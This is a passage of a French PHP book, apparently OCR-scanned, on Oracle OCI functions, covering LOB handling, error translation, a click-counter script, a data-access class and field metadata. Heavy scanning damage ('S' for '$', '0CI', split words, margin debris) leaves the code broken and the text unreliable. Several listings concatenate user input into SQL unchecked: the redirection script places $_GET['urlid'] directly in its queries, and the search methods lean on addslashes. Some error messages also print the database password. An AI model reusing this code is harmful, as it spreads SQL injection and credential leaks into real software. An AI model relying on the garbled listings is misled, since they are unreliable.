Syntaxe boolean save (string $donnees) 

$donnees Donnees constituant l'objet. 

retour TRUE en cas de succes, FALSE sinon. 
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OCILOB->load() 



Retourne le contenu d'un champ de type lob. 
Syntaxe string load (void) 

retour Contenu du champ, ou FALSE en cas d'echec. 



OCILOB->saveFile() 



Sauve le contenu d'un champ de type lob dans un fichier. 

Syntaxe boolean saveFile (string $nomFichier) 

$nomFi chi er Nom du fichier dans lequel copier le contenu de l'objet. 

retour TRUE en cas de succes, FALSE sinon. 



OCILOB->writeToFile() 

Sauve une portion du contenu d'un champ de type blob dans un fichier. 

Syntaxe boolean wri teToFi 1 e(stri ng $nomFichier [, int $debut [, int 

$longueur]] ) 

$nomFi chi er Nom du fichier dans lequel copier le contenu de l'objet. 

$debut Octet a partir duquel commencer la copie de l'objet. 

$1 ongueur Nombre d'octets a ecrire dans le fichier. 

retour TRUE en cas de succes, FALSE sinon. 



OCILOB->free() 

Libere les ressources allouees par l'objet. 

Syntaxe boolean free (void) 

retour TRUE en cas de succes, FALSE sinon. 

Voici un exemple d'utilisation : dans un premier temps, nous ajoutons un objet BLOB dans la 
base, puis nous le recuperons de deux fagons differentes pour le sauvegarder dans un fichier ou 
1'afficher. 
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Listing 10.69 : blob bd inc.php 

<?php 

// Fonction charge de donner un exemple d 1 utilisation 
// des BLOB 

// Compatibilite: PHP 5 

function EX_blob($idConnexion, Stable) 

{ 

// Creation d'une table de test 

SidRequete = oci_parse($idConnexion, "DROP TABLE Stable"); 
@oci_execute($idRequete) ; 

SidRequete = oci_parse($idConnexion, "CREATE TABLE Stable (id INTEGER, " . 

"monblob BLOB)"); 

oci_execute($idRequete) ; 

// 

// Insertion d'un objet de type blob 
// 

$requete = "INSERT INTO Stable (id, monblob) VALUES (1, EMPTY_BL0B() ) " . 

" RETURNING monblob INTO :blob"; 
SidRequete = oci_parse($idConnexion, Srequete) ; 

// Creation d'un descripteur de BLOB 

Sblob = oci_new_descriptor($idConnexion, 0CI_D_L0B); 

oci_bind_by_name($idRequete, ":blob", $blob, -1, 0CI_B_BL0B); 
if (!oci_execute($idRequete, 0CI_DEFAULT) ) die("echec. ") ; 

// Insertion des donnees 

// cela necessite une transaction (d'ou le 0CI_DEFAULT) 
$blob->save("0n supposera qu'il y a la une grande quantite de donnees". 

" de type binaire (issue par exemple de la lecture d'un ". 

" fichier image)"); 
oci_commit($idConnexion) ; 
echo "Donnees enregi strees<br />"; 

$blob->free(); 

// 

// Lecture d'un objet de type BLOB par un simple oci_fetch_assoc 
// 

Srequete = "SELECT monblob FROM Stable WHERE id=l"; 
SidRequete = oci_parse($idConnexion, Srequete); 

if (!oci_execute($idRequete)) return FALSE; 

echo "<b>Lecture avec oci_fetch_assoc</bxbr />"; 

if (! (Senreg = oci_fetch_assoc($idRequete))) return FALSE; 

Sblob = Senreg ["MONBLOB"] ; 
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// Recuperer le contenu de l'objet (pour 1'afficher) 
echo "<b>Aff i chage avec la methode load()</bxbr />"; 
echo $blob->load()."<br />"; 

// Sauvegarder l'objet dans un fichier 
// $sts = $blob->export("blob.txt") ; 
$sts = $blob->writeToFile("blob.txt"); 

// Sauvegarder une partie de l'objet dans un fichier 
// $sts = $blob->export("blob2.txt", 3, 5); 
$sts = $blob->writeToFile("blob2.txt", 3, 5); 



$blob->free() ; 



// 

// Lecture d'un objet de type BLOB par oci Def i neByName 

// 

$requete = "SELECT monblob FROM Stable WHERE id=l"; 
$idRequete = oci_parse($idConnexion, $requete); 

// Creation d'un descripteur de BLOB 

$blob = oci_new_descriptor($idConnexion, 0CI_D_L0B); 

oci_define_by_name($idRequete, "MONBLOB", $blob, 0CI_B_BL0B); 

if (!oci_execute($idRequete)) return FALSE; 
if (!oci_fetch($idRequete)) return FALSE; 

// Une fois le descripteur recupere 
// II est possible de. . . 

// Recuperer le contenu de l'objet (pour 1'afficher) 
echo "<b>Lecture avec oci_def i ne_by_name</bxbr />"; 
echo $blob->load() ; 

$blob->free(); 

return TRUE; 

} 



L'ajout de l'objet se fait selon les etapes suivantes : 

1. Preparation d'une requete d'insertion ajoutant un objet BLOB vide et retournant l'objet ; 

2. Creation d'un objet (PHP) ; 
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3. Association de cet objet PHP a l'objet SQL ; 

4. Execution proprement dite. Les appels aux methodes d'ecriture de l'objet BLOB devant 
obligatoirement se faire au sein d'une transaction, il est important, ici, de selectionner le 

mode OCI_DEFAULT. 

5. Appel de la methode save ( ) afin de preciser le contenu de l'objet BLOB ; 

6. Et enfin, validation de la transaction avec oci_commit ( ) ; 

7. Liberation des ressources. 

La lecture de l'objet BLOB peut se faire de differentes facons : 

Si vous faites appel a oci_f etch_assoc ( ) , oci_fetch_row( ) ou encode 
oci_f etch_array ( ) (comme avec un champ de type standard), vous recuperez alors un 
objet PHP, sur lequel vous pouvez appeler directement la methode voulue. 

Si vous faites appel a oci_bind_by_name ( ) , vous devrez, au prealable, allouer les 
ressources de l'objet PHP associe avec oci_new_descriptor ( ) . 



Jusque-la, en cas d'erreur, nous nous sommes contentes d'afficher un message generique. II est 
cependant possible de determiner plus precisement l'origine de l'erreur. 

Cela est possible notamment en recuperant un code d'erreur via la fonction oci_error ( ) . 



Gestion des erreurs 



oci_error() (ociError() PHP4) 



Retourne le code d'erreur du dernier appel a la connexion ou a la requete. 



Syntaxe 

SidBaseDonnees 
OuRequete 



array oci_error( [resource $idBaseDonneesOuRequete] ) 



Identifiant de connexion a une base de donnees tel que retourne par 
oci_connect ( ) , oci_new_connect ( ) ou oci_pconnect ( ) , ou 
identifiant de requete tel que retourne par oci_execute ( ) . Si ce 
parametre n'est pas precise, c'est la derniere erreur rencontree, et non liee 
a un identifiant de connexion ou de requete (ex. : probleme de connexion), 
qui est retournee. 



retour 



Tableau associatif contenant la cle "code", a laquelle est associe un code 
d'erreur (un entier) et la cle "message" a laquelle est associe un message 
d'erreur (une chaine de caracteres en anglais). FALSE en cas d'absence 
d'erreur. 
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Tableau 10.16 : 


Exemples de codes et messages d'erreur 




Code 


Message 


Description 


900 


ORA-00900: invalid SQL 
statement 


Requete SQL non valide. 


1017 


ORA-01017: invalid 
username/password; logon 
denied 


L'identifiant de connexion a la base 
n'est pas valide. 


12154 


ORA-12154: TNS:could not 
resolve service name 


La connexion a la base (via le 
listener) n'a pas pu s'effectuer. 



Vous pourrez, par exemple, vous servir des codes d'erreur pour afficher vos propres messages 
d'erreur. Dans l'exemple suivant, nous montrons comment traduire les messages d'erreur (en 
fait cela ne s'appliquera qu'a l'echantillon de codes qui vient d'etre presente). 



Listing 10.70 : error inc.php 

<?php 

// Propose une version Franchise de ociError 

function ociErrorFr($id="") 

{ 

if ($id == "") { 

$errEn = oci_error(); 
} else { 

$errEn = oci error($id); 



if ($errEn === FALSE) return FALSE; 

switch ($errEn ["code"] ) { 

case 900 : $errEn ["message"] = "ORA-00900: Requete SQL invalide"; 
break; 

case 1017 : $errEn ["message"] = 

"ORA-01017: Norn uti 1 i sateur/Mot de passe invalide:". 
" connexion refusee"; 
break; 

case 12154 : $errEn ["message"] = 

"ORA-12154: Aucune reference trouvee par le TNS"; 
break; 

} 

return $errEn; 

} 

?> 
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Et voici un script generant l'ensemble des erreurs ci-dessus, afin de bien mettre en evidence le 
bon fonctionnement de cette fonction personnalisee. 

Listing 10.71 : error.php 

<?php 

// Parametres du script §f p 

require_once("parametres_bd_inc.php") ; co r; 

Stable = "errorOl"; £ §j 

" 53" 

// Chargement de la fonction de traduction des messages d'erreur o s-. 

require_once("error_inc.php") ; = n = 

™ S - 

// Erreur d 1 identification 

SidConnexion = @oci_pconnect ( 'xyz 1 , 'xyz 1 , $base) ; 
print_r(oci ErrorFr() ) ; 
echo "<br />"; 

// Base de donnees inaccessible 

SidConnexion = @oci_pconnect ($uti 1 i sateur, $motDePasse, "xyz"); 
print_r(oci ErrorFr() ) ; 
echo "<br />"; 



// Connexion a la base de donnees 

SidConnexion = oci_pconnect($util isateur, $motDePasse, $base); 
if (!$idConnexion) { 

die("<b>Impossible de se connecter a la base de donnees". 

" [$base] sous le compte [$uti 1 i sateur] " . 

" avec le mot de passe [$motDePasse] .</b>") ; 

} 

// requete invalide 

SidRequete = @oci_parse($idConnexion, "XYZ"); 
@oci_execute($idRequete) ; 

echo "derniere erreur<br />"; 
print_r(oci Error Fr() ) ; 
echo "derniere erreur connexion<br />"; 
print_r(oci Error Fr($i dConnexion) ) ; 
echo "derniere erreur requete<br />"; 
print_r(oci Error Fr($i dRequete) ) ; 



Ce script genere alors une page contenant les messages : 

Array ( [code] => 1017 [message] => ORA-01017: Nom util isateur/Mot de passe 
x invalide: connexion refusee ) 

Array( [code] => 12154 [message] => ORA-12154: Aucune reference trouvee par le 
x TNS ) 
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derniere erreur 

derniere erreur connexion 

derniere erreur requete 

Array ( [code] => 900 [message] => 0RA-00900: Requete SQL invalide ) 



Exemples (['applications 
Compteur de clics 

Une application courante d'utilisation des bases de donnees, et simple a mettre en oeuvre, 
consiste a creer un compteur de clics. 

En effet, peut-etre souhaitez-vous proposer, sur votre site, un certain nombre de liens vers des 
sites Internet (annuaire web) ou vers des fichiers (bibliotheques de scripts). Peut-etre que 
certains (ou la totalite) de ces liens sont proposes par un partenaire. Bref, tout cela vous incite 
a savoir quelles sont les pages les plus frequemment consultees (pour connaitre les centres 
d'interet des visiteurs) et combien de visiteurs vous avez rediriges vers votre sponsor. 

La methode la plus classique consiste a stocker en base de donnees l'ensemble des liens ainsi 
proposes, et a remplacer les traditionnels liens de la forme http://www.domaine.com par un lien vers 
un script charge d'incrementer le compteur correspondant au site indique, et de rediriger le 
client vers le site grace a la fonction header ( ) . 

Pour notre exemple, nous utiliserons une table appelee url contenant trois champs : 

■ urlid, identifiant de l'URL (champ auto-incremente) ; 
url, l'URL proprement dite ; 

■ nbclic, le nombre de clics. 

Le script de redirection (appele ici compteurclic_redirection.php) devra alors accepter un 
parametre (urlid) et devra, a partir de ce parametre, determiner quelle est la valeur du champ 
url, incrementer nbclic pour cette URL, et rediriger vers url. 

Les appels a ce script auront alors la forme http://localhost/compteurclic_redirection.php?urlid=3 (pour 
acceder a l'URL ayant l'identifiant 3). A supposer que l'URL 3 corresponde au site http://www 
.sqlfacil.com, cela signifie que le lien <a href="http: //www.sqlfaciie.com"> devra etre 

remplace par <a href ="compteurclic_redirection.php?urlid=3> si Ton SOuhaite en 

compter le nombre de clics. 

Concretement, cette table pourra etre creee et alimentee avec la fonction cc_initiaiiseBD ( ) 
du script suivant : 

Listing 10.72 : compleurclic admin inc.php 

<?php 

// Fonction charge de creer et d'alimenter 
// la table "compteur de clics" 

function CC_initial iseBD($idConnexion, $table) 



// Creation de la table 

$requete = "DROP TABLE Stable"; 

$idRequete = oci_parse($idConnexion, $requete) ; 

@oci_execute($idRequete) ; 

$requete = "CREATE TABLE Stable (urlld INTEGER,". 

"url VARCHAR(128) NOT NULL,". 

"nbclic INTEGER DEFAULT 0,". 

"UNIQUE(url))"; 
$idRequete = oci_parse($idConnexion, $requete) ; 
if (!oci_execute($idRequete)) return FALSE; 

// Creation d'une sequence pour les identifiants d 1 url 
$requete = "DROP SEQUENCE seqjtable"; 
$idRequete = oci_parse($idConnexion, $requete) ; 
@oci_execute($idRequete) ; 

$requete = "CREATE SEQUENCE seqjtable"; 
$idRequete = oci_parse($idConnexion, $requete) ; 
if (!oci_execute($idRequete)) return FALSE; 

// Creation d'un trigger pour remplir automatiquement 
// le champ identifiant d'url a chaque ajout d'une url 
// (compteur) 

$requete = "DROP TRIGGER compteur_$tabl e" ; 
$idRequete = oci_parse($idConnexion, $requete) ; 
@oci_execute($idRequete) ; 

$idRequete = oci_parse($idConnexion, 

"CREATE TRIGGER compteurjtabl e" . 
" BEFORE INSERT ON Stable ". 
"FOR EACH ROW ". 
"BEGIN ". 

"SELECT seqjtable. NEXTVAL INTO :NEW.urlId FROM DUAL; 
"END;"); 

oci_execute($idRequete) ; 

// Prepare une requete 

$idRequete = oci_parse($idConnexion, 

"INSERT INTO Stable (url) VALUES (:url)"); 

// Associe une variable SQL a une variable PHP 
oci_bind_by_name($idRequete, ":url", $url , 129); 

// Alimentation de la base de donnees 
$url = "http://www.php.net"; 
oci_execute($idRequete) ; 

$url = "http://www.phpfacile.com"; 
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oci_execute($idRequete) ; 

$url = "http://www.sqlfacile.com"; 
oci_execute($idRequete) ; 

$url = "http://www.xinlfacile.com"; 
oci_execute($idRequete) ; 

$url = "http://www.ootoogo.com"; 
oci_execute($idRequete) ; 

return TRUE; 

} 

?> 

Les operations de connexion n'apparaissent pas dans ce script, mais vous pouvez consulter le 
script compteurclic _admin.php si vous le souhaitez. 

La lecture de la liste des liens disponibles en base de donnees pourra se faire via la fonction 
cc_recupereLiens ( ) du script suivant : 

Listing 10.73 : compteurclicjnc.php 

<?php 

// Fonction retournant les informations de liens 
// sous forme d'un tableau associatif possedants 
// les cles 

// - "lien" associe au tableau des liens hypertextes 
// - "nbclic" associe au tableau des nombres de clics 

function CC_recupereLiens($idConnexion, $table) 

{ 

// Norn du script charge du comptage et de la redirection 
$script = "compteurcl ic_redi recti on. php"; 

// Preparation de la requete SELECT 

SidRequete = oci_parse($idConnexion, "SELECT * FROM Stable"); 

// Execution de la requete 
oci_execute($idRequete) ; 

// Recuperation des enregistrements les uns apres les autres 
while (oci_fetch_into($idRequete, $enreg, 0CI_ASS0C)) { 

$1 i ens ["1 i en"] [] = "<a href=\"$scri pt?url i d=" .$enreg["URLID"] . "\">" . 
$enreg["URL"] ."</a>"; 

$liens["nbclic"] □ = $enreg["NBCLIC"] ; 

} 

return $liens; 

} 
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?> 



L'affichage des liens consiste uniquement a mettre en page le contenu du tableau ainsi 
recupere (voir la fonction du script compteurclic_affich.ageJnc.php). 

Comme cela a ete precise, le lien <a href ="http: //www. sqifaciie. com">http: //www 

. sqlf acile . com</a> a ete remplace par <a href="compteurclic_redirection 

.php?uriid=3 ">http: //www. sqifaciie . com </a>. La redirection vers le site www.sqlfacile CT 
.com est done a la charge du script compteurclic _redirection.php. g| ■ 

CD "I 
00 c 

Listing 10.74 : compteurclic redirection.php » = 

<? P hp i § 

8 » 

// Parametres du script «" 
requi re_once ( "parametres_bd_i nc . php" ) ; 
Stable = "compteurclic"; 



// Connexion a la base de donnees 

$idConnexion = @oci_pconnect ($uti 1 i sateur, $motDePasse, $base) ; 
if (!$idConnexion) { 

die("<b>Impossible de se connecter a la base de donnees". 

" [$base] sous le compte [$uti 1 i sateur] " . 

" avec le mot de passe [$motDePasse] .</b>") ; 

} 

// Recuperation du parametre urlid passe 

// en parametre de ce script par la methode GET 

$urlid = $_GET["urlid"]; 

// Recherche dans la base de donnee de l'url 
// correspondant a $urlid 
$idRequete = @oci_parse($idConnexion, 

"SELECT * FROM Stable WHERE url id=$url id") ; 
@oci_execute($idRequete) ; 

@oci_fetch_into($idRequete, $enreg, OCI_ASSOC) or 
die("<b>Impossible de trouver cette url<b>"); 

// Nous connaissons maintenant l'url 

// nous pourrons nous rediriger vers $enreg["URL"] ; 

// une fois le compteur increments 

$url = $enreg["URL"] ; 

$idRequete = @oci_parse($idConnexion, 

"UPDATE Stable SET nbel ic=nbcl ic+1" . 

" WHERE urlid=$urlid"); 
@oci_execute($idRequete) ; 

// Dans le cas d'une connexion non persistante 
// (utilisation de oci_connect ou oci_new_connect) 
// il faudrait egalement la ligne suivante 
// oci_close($idConnexion) ; 
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// C'est 1'heure de la redirection 
header("Location: $url"); 

// REM: L'appel a header ne fonctionnera pas si des donnees 
// ont deja ete emises vers le navigateur. Ce qui peut 
// arriver si l'un des appels precedents affiche un message 
// d'alerte. II etait done important de faire preceder 
jg a> I) ces appels par le signe @ 



01 
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_: (U ?> 



// REM 2: Avec Oracle, nous aurions pu utiliser une procedure stockee 
// realisant a la fois 1 'operation de lecture et celle de mise a jour 
// du compteur 



Utilisation du bouton retour 

^ Si, apres avoir suivi un lien, vous revenez sur la page cliccompte.php en utilisant le 
REM ARQ JE bouton retour (back), le contenu de la page ne sera pas reactualise. Par consequent, 
le nombre de visites affiche ne sera pas correct. N'oubliez done pas, dans ce cas, de 
rafraichir (bouton actualiser) la page. 



SuperTheque 

L'essentiel du code de l'application a ete presente en introduction de ce chapitre. II ne restait 
plus qu'a connaitre les fonctions Oracle pour implementer l'interface Ressourceinterf ace 
c'est desormais chose faite: 

Listing 10.75 : RessourceOracle class.php 

<?php 

i ncl ude_once( "Res source I nterface_cl ass .php") ; 

i ncl ude_once(di rname( FILE ) . "/■ -/config/oracl e_cfg.php") ; 

I** 

* RessourceOracle_class.php 

* Classe d'acces a une base de donnees Oracle 

* Cette classe doit implementer toutes les methodes de l'interface 

* Ressourcelnterface. 

* Compatibil ite: PHP 5 

V 

class Ressource implements Ressourcelnterface 
{ 

var $idConnexion; 

public function connexion() 

{ 

global $oci_serveur, $oci_utilisateur, $oci_motDePasse; 
global $oci_base; 
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if (!isset($this->idConnexion)) { 

$idConnexion = oci_pconnect ($oci_uti 1 i sateur, 

$oci_motDePasse, 
$oci_base) ; 

if ( !$idConnexion) return FALSE; 

$this->idConnexion = $idConnexion; 

} 

return TRUE; 



public function deconnexion() 

{ 

// Rien a faire, il s'agit d'une connexion persistante 

} 

public function reset () 

{ 

$requete = "DROP TABLE types"; 

$idRequete = oci_parse($this->idConnexion, $requete) ; 
@oci_execute($idRequete) ; 

// Ne pas tenir compte d'une eventuelle erreur 
// la table n'existe peut-etre tout simplement pas 

$requete = "CREATE TABLE types (". 

"id INTEGER PRIMARY KEY,". 

"type VARCHAR(255))"; 
$idRequete = oci_parse($this->idConnexion, $requete) ; 
if (!oci_execute($idRequete)) return FALSE; 

$requete = "DROP SEQUENCE seq_types"; 

$idRequete = oci_parse($this->idConnexion, $requete) ; 

@oci_execute($idRequete) ; 

$requete = "CREATE SEQUENCE seq_types"; 

$idRequete = oci_parse($this->idConnexion, $requete) ; 

if ( !oci_execute($idRequete) ) return FALSE; 

$requete = "DROP TRIGGER compteur_types" ; 

$idRequete = oci_parse($this->idConnexion, $requete) ; 

@oci_execute($idRequete) ; 

$requete = "CREATE TRIGGER compteur_types ". 

"BEFORE INSERT ON types ". 
"FOR EACH ROW ". 
"BEGIN ". 

"SELECT seq_types . NEXTVAL INTO :NEW.id FROM DUAL; ". 
"END;"; 

$idRequete = oci_parse($this->idConnexion, $requete) ; 
if ( !oci_execute($idRequete) ) return FALSE; 
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$types = array ("Album", "Film", "Livre", "Musique"); 
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foreach ($types as $type) { 

$requete = "INSERT INTO types (type) VALUES ('$type')"; 
$idRequete = oci_parse($this->idConnexion, $requete); 
if (!oci_execute($idRequete)) return FALSE; 

} 

$requete = "DROP TABLE articles"; 

$idRequete = oci_parse($this->idConnexion, $requete); 

@oci_execute($idRequete) ; 

// Ne pas tenir compte d'une eventuelle erreur 
// la table n'existe peut-etre tout simpl ement pas 

$requete = "CREATE TABLE articles (". 

"id INTEGER PRIMARY KEY,". 

"albumld INTEGER,". 

"titre VARCHAR(255),". 

"typeld INTEGER,". 

"commentaire VARCHAR(255) ) " ; 
$idRequete = oci_parse($this->idConnexion, $requete); 
if (!oci_execute($idRequete)) return FALSE; 

$requete = "DROP SEQUENCE seq_articles"; 

$idRequete = oci_parse($this->idConnexion, $requete); 

@oci_execute($idRequete) ; 

$requete = "CREATE SEQUENCE seq_arti cl es" ; 
$idRequete = oci_parse($this->idConnexion, $requete); 
if (!oci_execute($idRequete)) return FALSE; 

$requete = "DROP TRIGGER compteur_articles"; 
$idRequete = oci_parse($this->idConnexion, $requete) ; 
@oci_execute($idRequete) ; 

$requete = "CREATE TRIGGER compteur_arti cl es ". 

"BEFORE INSERT ON articles ". 
"FOR EACH ROW ". 
"BEGIN ". 

"SELECT seq_articles.NEXTVAL INTO :NEW.id FROM DUAL; 
"END;"; 

$idRequete = oci_parse($this->idConnexion, $requete); 
if ( !oci_execute($idRequete) ) return FALSE; 



public function addArticle($albumId, 

$titre, 
$typeld, 
$commentai re) 

{ 

$requeteDebut = "INSERT INTO articles (albumld, titre, typeld"; 
$requeteFin = ") VALUES ($albumld,". 

.sql ite_escape_string($titre) ." 1 ," . 

"$typeld"; 



if ($commentaire != "") { 

$requeteDebut .= ".commentaire"; 

$requeteFin .= " , "' . sql i te_escape_stri ng ($commentai re) . ; 

} 

$requete = $requeteDebut . $requeteFin . ")"; 
$idRequete = oci_parse($this->idConnexion, $requete) ; 
if ( !oci_execute($idRequete) ) return FALSE; 



public function getArticle($articleId) 

{ 

$requete = "SELECT * FROM articles WHERE id=$articleld"; 
$idRequete = oci_parse($this->idConnexion, $requete) ; 
if ( !oci_execute($idRequete) ) return FALSE; 

$article = NULL; 

if ($enreg = oci_fetch_array($idRequete)) { 
$article = $thi s->enreg2Articl e($enreg) ; 

} 

return $article; 



public function getArti cl es (Fi 1 tre $filtre, Plage $plage, Tri $tri) 

{ 

$requete = "SELECT * FROM articles"; 
if ($filtre->getAlbumId() != -1) { 

$conditionSQL = "albumId=".$filtre->getAlbumId() ; 

} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE 111 . 

addSl ashes ($f i 1 tre->getTi tre () ) ; 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 

" AND typeId=".$filtre->getTypeId(); 

} 

if ($tri->getSens() == -1) { 

$triSQL = "ORDER BY ".$tri->getChamp() ." DESC"; 
} else if ($tri->getSens() == 1) { 

$triSQL = "ORDER BY ".$tri->getChamp() ." ASC"; 

} 

$requete = $requete." WHERE ".$conditionSQL." ". 

$triSQL; 

$requete = "SELECT * FROM (". 

"SELECT id, albumld, titre, typeld, commentaire,". 

" ROWNUM noligne ". 
"FROM (".$requete.")". 
") WHERE noligne BETWEEN ". ($plage->getPremierArticle()+l) . 
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" AND ". ($plage->getPremierArticle() + 
$plage->getNbArticleMax()) ; 
$idRequete = oci_parse($this->idConnexion, $requete); 
if (!oci_execute($idRequete)) return FALSE; 

$articles = NULL; 

while ($enreg = oci_fetch_array($idRequete)) { 
jg v> $articles[] = $thi s->enreg2Articl e($enreg) ; 

'03 } 
= = * 

.2 = return $articles; 



= CO 

— ' u> 



public function getNbTotalArticles(Filtre $filtre) 
{ 

$requete = "SELECT C0UNT(*) FROM articles"; 
if ($filtre->getAlbumId() != -1) { 

$conditionSQL = "al bumld=" .$f i 1 tre->getAl bumld() ; 

} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE 111 . 

addSl ashes ($f i 1 tre->getTi tre() ) ; 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 

" AND typeId=".$filtre->getTypeId() ; 

} 

$requete = $requete." WHERE " .$conditionSQL; 
$idRequete = oci_parse($this->idConnexion, $requete); 
if (!oci_execute($idRequete)) return FALSE; 

if ($enreg = oci_fetch_array($idRequete)) { 

return $enreg[0] ; 
} else return FALSE; 



public function getTypes() 

{ 

$requete = "SELECT * FROM types"; 

$idRequete = oci_parse($this->idConnexion, $requete) ; 

if (!oci_execute($idRequete)) return FALSE; 

$types = NULL; 

while ($enreg = oci_fetch_array($idRequete)) { 
$types[$enreg["ID"]] = $enreg["TYPE"] ; 

} 

return $types; 



public function getAl bumTypeldQ 
{ 
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return 1; 

} 



private function enreg2Arti cl e($enreg) 

{ 

// ATTENTION: Avec Oracle les noms des cles 

// du tableau sont en majuscules. 

$article = new Article(); 

$article->setId($enreg["ID"]) ; 

$arti cl e->setAl bumld ($enreg ["ALBUMID"] ) ; 

$article->setTitre($enreg["TITRE"] ) ; 

$article->setTypeId($enreg["TYPEID"]) ; 

$arti cl e->setCommentai re ($enreg ["COMMENTAIRE"] ) ; 

return $article; 

} 

} 

?> 

Comme vous le constatez, la principale difficulte n'est pas tant au niveau des fonctions 
disponibles qu'au niveau de la construction des requetes SQL. La requete sera simple lorsqu'il 
ne s'agit que de recuperer un enregistrement identifie par la cle id (comme c'est le cas avec 
getArticie ( ) ) elle sera bien plus complexe s'il s'agit des recuperer un ensemble 
d'enregistrements repondant a des criteres precis et tries (comme c'est le cas avec 
getArticles ( ) ). 

Requetes avec des apostrophes 

Lors de la construction de la requete, il faut bien garder a 1'esprit que l'un des elements de la 
requete (typiquement un champ de type texte saisi par l'utilisateur, comme ici le titre ou le 
commentaire) peut contenir une apostrophe qui pourrait etre confondu avec le delimiteur de 
chaine. Pensez done bien a faire un appel a addsiashes ( ) lorsque cela peut s'averer 
necessaire. 

Affichage par page 

Des bases de donnees telles que MySQL proposent une instruction limit permettant de ne 
retourner qu'un sous-ensemble des resultats de la requete, en precisant l'index du premier 
enregistrement et le nombre de resultats a retourner. II n'y a malheureusement pas 
d'equivalent sous Oracle ; il faut done avoir recours a quelques acrobaties pour obtenir le 
meme resultat. 

Ainsi, pour retourner les vingt premiers enregistrements a partir du onzieme de la requete 
<requete>, il faut executer la requete : 

SELECT * FROM (SELECT champl, champ2, ROWNUM noligne FROM (<requete>)) 

x WHERE noligne BETWEEN 11 AND 30) 

Tri 

Modifier l'ordre d'affichage des annonces n'est pas non plus bien sorcier. Le tri peut s'effectuer 
directement au niveau de la requete SQL grace a l'instruction order by. 
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Moteur de recherche (filtre) 

Pour filtrer, il suffit d'utiliser l'instruction where. Dans notre cas, nous souhaitons autoriser 
l'utilisation de jokers (comme %) afin, par exemple, de rechercher les titres commencant par 
une chaine donnee. C'est pourquoi, nous ne ferons pas un test de type titre= 'motcle ' mais 
titre like 'motcle' (ou motcle pourrait avoir la valeur "La 7eme compagnie%"). 



En savoir plus... 



... sur le resultat d'une requete 

II vous est ainsi possible de connaitre le nombre de champs retournes par une requete (et, par 
consequent, le nombre de champs d'une table dans le cas d'une requete select * from 
<nom_tabie> sur une table non vide). 



oci_num_fields() (ociNumCols() PHP4) 

Retourne le nombre de champs dans les enregistrements retournes par une requete SQL. 

Syntaxe int oci_num_fi el ds (resource $idRequete) 

$i dRequete Identifiant de requete tel que retourne par oci_execute ( ) . 

retour Nombre de champs. 

Mais aussi, le nom de ces champs : 



oci_field_name() (ociColumnNameQ PHP4) 



Retourne le nom des champs dans les enregistrements retournes par une requete SQL. 

Syntaxe string oci_field_name(resource $idRequete, int $index) 

$i dRequete Identifiant de requete tel que retourne par oci_execute ( ) . 

$ i ndex Index du champ dont vous souhaitez connaitre le nom. Le nombre total de 

champs peut etre obtenu en faisant appel a 
oci_num_f ields ( ) .ATTENTION : l'indexation commence a 1. 

retour Nom du champ. 

Cependant, les champs ont d'autres informations a nous livrer que leur nom. Pour cela, vous 
disposez des fonctions : 



Oracle 



oci_field_type() (ociColumn'fypeO PHP4) 

Retourne le type des champs dans les enregistrements retournes par une requete SQL. 

Syntaxe string oci_field_type(resource $idRequete, int $index) 

$idRequete Identifiant de requete tel que retourne par oci_execute ( ) . 

$ i n dex Index du champ dont vous souhaitez connaitre le type. Le nombre total de jg 

champs peut etre obtenu en faisant appel a ^ 
oci_num_f ields ( ) .ATTENTION : l'indexation commence a 1. cd 



retour Type du champ, ou FALSE en cas d'erreur. 



03 
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oci_field_size() (ociColumnSize() PHP4) 



Retourne la taille (en octets) des champs de la table. 

Syntaxe int oci_field_size(resource $idRequete, int $index) 

$idRequete Identifiant de requete tel que retourne par oci_execute ( ) . 

$i ndex Index du champ dont on souhaite connaitre la taille. Le nombre total de 

champs peut etre obtenu en faisant appel a oci_num_f ields () . 



retour 



ATTENTION : l'indexation commence a 1. 
Taille (en octets) occupee par le champ, ou FALSE en cas d'erreur. 



Listing 10.76 : infoOIJnc.php 

<?php 

// Fonction affichant certaines informations liees 
// a la structure d'une table 

function describe($idConnexion, $table) 

{ 

// Preparation de la requete SELECT 

$idRequete = oci_parse($idConnexion, "SELECT * FROM Stable"); 

// Execution de la requete 
oci_execute($idRequete) ; 

// Recuperation du nombre de champs retournes 
SnbChamps = oci_num_fields($idRequete) ; 

// Pour chaque champ, recuperation des informations 

// - nom du champ 

// - type du champ 

// - taille du champ 

for ($i=l; $i<=$nbChamps; $i++) { 
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echo "<b>" .oci_field_name($idRequete, $i)."</b>"; 

echo " de type <i>" .oci_field_type($idRequete, $i)."</i>"; 

echo " de longueur <i>".oci_field_size($idRequete, $i)."</ixbr />"; 

} 

} 

?> 

Les numeros de version 

La fonction evoquee ici n'est pas d'une utilisation tres courante, mais pourra eventuellement 
vous servir si vous etes amene a utiliser des instructions avancees de la base de donnees Oracle 
(instructions implementees dans des versions recentes, par exemple). 



oci_server_version() (ociServerVersion() PHP4) 

Retourne le numero de version du serveur Oracle. 

Syntaxe string oci_serveur_versi on (resource $idBaseDonnees) 

$idBaseDonnees Identifiant de connexion a une base de donnees tel que retourne par 

oci_connect ( ) , oci_new_connect ( ) ou oci_pconnect ( ) . 

retour Numero de version du serveur. 

La chaine retournee sera de la forme : 

Oracle Database lOg Release 10.1.0.2.0 - Production 



10.12. SQLite 

A la difference des autres bases de donnees presentees, SQLite est totalement integree a PHP 5. 

Installation 

Comme SQLite est integree a PHP 5, la procedure d'installation est extremement facile vu qu'il 
n'y a rien a faire. 



Installer SQLite pour PHP 4 (ou3) 

Sous windows, il vous suffit de recuperer le fichier php_sqlite.dll disponible sur le 
cederom et de charger la librairie. 



SQLite 



Utilisation 

Comme indique dans le chapitre d'introduction, l'utilisation basique de la base de donnees 
s'opere selon le schema suivant : 

Connexion grace aux fonctions sqlite_open ( ) ou sqlite_popen ( ) . 



Soumission de la requete via la fonction sqlite_query ( ) , sqlite_array_query( ) ou 
sqlite_unbuf f ered_query ( ) . 

■ Deconnexion grace a la fonction sqiite_close () . co 

Connexion 

Comme pour 

connexion doit etre etablie avec la base de donnees 



sqlite_unbuf f ered_query ( ) . o> P 

CD ~ 
C= 

£2. Q5 

o 2: 

= O 
3 = 

CD* _ 
CD °- 

